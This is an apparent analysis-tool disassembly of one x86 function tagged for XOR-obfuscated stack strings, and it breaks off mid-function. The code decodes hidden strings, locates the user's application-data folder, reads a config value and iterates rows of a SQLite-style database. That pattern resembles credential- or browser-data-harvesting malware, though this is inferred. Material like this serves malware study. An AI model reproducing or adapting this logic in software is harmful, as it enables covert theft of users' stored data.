Function at 0x439b66
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506830
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.004de530
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00468070
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004644a0
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0x8784858a
mov dword [ebp - 0x30], 0x9c8b84
mov byte [ebp - 0x2c], 1
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x439bd0
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.0046a720
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.00464100
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.004df7b0
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0x50c2e0]
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439c66
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43b52a
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.0046e020
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0x83999ab5
mov dword [ebp - 0x64], 0x9583878b
mov dword [ebp - 0x60], 0x9a9adc82
mov word [ebp - 0x5c], 0x9c
mov byte [ebp - 0x5a], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x439cd1
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439cf0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43b52f
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.0046e020
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
call dword [0x50c1f8]
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0x8a8498b9
xor ecx, ecx
mov dword [ebp - 0x8d], 0x8a8284
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x439da0
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.004eadae
add esp, 0xc
test eax, eax
jne 0x43b43d
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.004df7b0
add esp, 0xc
mov dword [ebp - 0x52], 0x849f8bb9
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x439e10
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
call dword [0x50c118]
lea ecx, [ebp - 0x43]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439e50
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43b52a
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf0]
call fcn.0046e020
or esi, 4
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xf0]
call fcn.00466370
or esi, 8
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x439f20
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439f16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439f62
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403410
mov byte [ebp - 4], 9
lea edi, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x43a08f
push esi
push 0x2f
push edi
call fcn.004e0fa0
add esp, 0xc
test eax, eax
je 0x43a08f
sub eax, edi
cmp eax, 0xffffffff
je 0x43a08f
sub esp, 0x18
mov word [ebp - 0x55], 0x2f
mov edx, esp
mov byte [ebp - 0x53], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x55]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439ff0
sub ecx, esi
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, edx
call fcn.00403410
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00466660
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.0040cfe0
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x23c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43a07a
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43a06d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00466240
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.00468860
mov esi, dword [ebp - 0xc8]
cmp dword [ebp - 0xc4], 0x10
lea edi, [ebp - 0xd8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x43a183
push esi
push 0x5c
push edi
call fcn.004e0fa0
add esp, 0xc
test eax, eax
je 0x43a183
sub eax, edi
cmp eax, 0xffffffff
je 0x43a183
sub esp, 0x18
mov word [ebp - 0x46], 0x5c
mov edx, esp
mov byte [ebp - 0x44], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x46]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a0f6
sub ecx, esi
lea eax, [ebp - 0x46]
push ecx
push eax
mov ecx, edx
call fcn.00403410
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00466660
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.0040cfe0
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43a177
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43a16a
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00466240
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.00468860
movaps xmm0, xmmword [0x524e30]
xor ecx, ecx
movups xmmword [ebp - 0x101], xmm0
mov byte [ebp - 0xf1], 1
nop word [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x101], al
inc ecx
cmp ecx, 0xf
jb 0x43a1a0
lea ecx, [ebp - 0x101]
mov byte [ebp - 0xf1], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a1c1
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x244]
sub eax, edx
cmp eax, ecx
jb 0x43b52a
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
push ecx
cmovae eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x101]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c8]
call fcn.0046e020
mov esi, dword [ebp - 0x24]
or esi, 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x100889b
xor ecx, ecx
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x43a220
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call fcn.004e3620
add esp, 8
test eax, eax
je 0x43b347
push eax
call fcn.004e6ea8
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.00468070
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x160]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004644a0
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0xc0]
test al, al
jne 0x43a314
push 8
mov byte [ebp - 0xc0], 1
call fcn.004dd550
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dd550
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0xb8], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x43a322
cmp al, 1
jne 0x43b539
mov esi, dword [ebp - 0xb8]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.00468240
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x160]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], eax
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.00464100
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
cmovae ecx, dword [ebp - 0x1c8]
call fcn.004150f0
test eax, eax
jne 0x43b2ea
movaps xmm0, xmmword [0x526890]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x263], 0x43460a64
movaps xmm0, xmmword [0x525300]
movups xmmword [ebp - 0x293], xmm0
mov dword [ebp - 0x25f], 0x5f4c7157
movaps xmm0, xmmword [0x525080]
movups xmmword [ebp - 0x283], xmm0
mov dword [ebp - 0x25b], 0x515a595e
movaps xmm0, xmmword [0x525580]
movups xmmword [ebp - 0x273], xmm0
mov word [ebp - 0x257], 0x46
mov byte [ebp - 0x255], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x4d
jb 0x43a404
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x20]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2a3]
mov byte [ebp - 0x255], 0
call fcn.004c2ed0
add esp, 0x14
test eax, eax
jne 0x43b2df
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049f800
cmp eax, 0x64
jne 0x43b267
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.00468070
mov byte [ebp - 4], 0x16
test edi, edi
je 0x43a4ce
cmp dword [edi + 0x2c], 0
je 0x43a4a9
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x43a4a9
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a4a4
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x43a4d3
mov eax, dword [edi]
test eax, eax
je 0x43a4ce
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a4c0
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov dword [ebp - 0x18], eax
test edi, edi
je 0x43a534
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a517
cmp byte [esi + 0x1e], 0
jne 0x43a4fa
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a512
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a51e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a534
push eax
call dword [0x533d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.004dd550
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x224], esi
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x18]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a580
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x168], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x7f], 0x8d86858d
mov dword [ebp - 0x7b], 0x1008084
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 6
jb 0x43a5b7
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x78], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x164]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x170], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x168], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x164], edx
call fcn.00464100
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x49]
xorps xmm0, xmm0
mov word [ebp - 0x49], 0x31
mov byte [ebp - 0x47], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a646
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00403410
mov byte [ebp - 4], 0x19
test edi, edi
je 0x43a6b8
cmp dword [edi + 0x2c], 0
je 0x43a693
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x43a693
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a68b
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x43a6bd
mov eax, dword [edi]
test eax, eax
je 0x43a6b8
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a6aa
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x43a723
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a703
cmp byte [esi + 0x1e], 0
jne 0x43a6e6
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a6fe
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a70a
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a720
push eax
call dword [0x533d38]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xf8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a746
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00403410
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xorps xmm0, xmm0
push dword [ebp - 0xe0]
mov esi, dword [ebp - 0x108]
cmovae eax, ecx
mov edx, dword [ebp - 0xf8]
setae byte [ebp - 0x19]
cmp dword [ebp - 0xf4], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x108]
cmovae ecx, esi
movq qword [ebp - 0x178], xmm0
push eax
setae byte [ebp - 0x1a]
mov byte [ebp - 0x180], 4
call fcn.00476320
mov byte [ebp - 0x140], al
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x9b], 0x9c9f9e81
mov dword [ebp - 0x97], 0x898380a2
mov word [ebp - 0x93], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x43a800
lea eax, [ebp - 0x9b]
mov byte [ebp - 0x92], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov edi, dword [ebp - 0x140]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x180], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x178], ecx
lea ecx, [ebp - 0x180]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x174], edx
call fcn.00464100
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x20]
je 0x43a8a0
mov ecx, dword [ebp - 0xf4]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x43a896
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push esi
call fcn.004dd7d1
add esp, 8
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x16
je 0x43a8dc
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a8d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
test edi, edi
je 0x43a931
cmp dword [edi + 0x2c], 0
je 0x43a90c
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x43a90c
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a904
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x43a936
mov eax, dword [edi]
test eax, eax
je 0x43a931
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a923
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a997
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a97a
cmp byte [esi + 0x1e], 0
jne 0x43a95d
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a975
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a981
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a997
push eax
call dword [0x533d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x190], 3
push 0x18
movq qword [ebp - 0x188], xmm0
call fcn.004dd550
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10b]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], esi
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a9f0
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x188], esi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x40], 0x849f8b99
mov word [ebp - 0x3c], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 4
jb 0x43aa26
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x184]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x190], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x190]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], edx
call fcn.00464100
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
mov word [ebp - 0x4c], 0x31
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43aab5
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00403410
mov byte [ebp - 4], 0x1e
test edi, edi
je 0x43ab27
cmp dword [edi + 0x2c], 0
je 0x43ab02
mov eax, 3
cmp ax, word [edi + 0x30]
jae 0x43ab02
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43aafa
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x78
jmp 0x43ab2c
mov eax, dword [edi]
test eax, eax
je 0x43ab27
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ab19
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x43ab92
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43ab72
cmp byte [esi + 0x1e], 0
jne 0x43ab55
mov eax, esi
cmp ecx, 0xc0a
jne 0x43ab6d
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43ab79
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ab8f
push eax
call dword [0x533d38]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43abb5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00403410
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
xorps xmm0, xmm0
push dword [ebp - 0xf8]
mov esi, dword [ebp - 0xf0]
cmovae eax, ecx
mov edx, dword [ebp - 0xe0]
setae byte [ebp - 0x1a]
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xf0]
cmovae ecx, esi
movq qword [ebp - 0x1e8], xmm0
push eax
setae byte [ebp - 0x19]
mov byte [ebp - 0x1f0], 4
call fcn.00476320
mov byte [ebp - 0x138], al
add esp, 8
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov dword [ebp - 0x77], 0x99888f9a
mov dword [ebp - 0x73], 0x1008b9f
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 6
jb 0x43ac60
lea eax, [ebp - 0x77]
mov byte [ebp - 0x70], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov edi, dword [ebp - 0x138]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x134]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x1e4], edx
call fcn.00464100
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x1e
mov edi, dword [ebp - 0x20]
je 0x43acf7
mov ecx, dword [ebp - 0xdc]
mov eax, esi
inc ecx
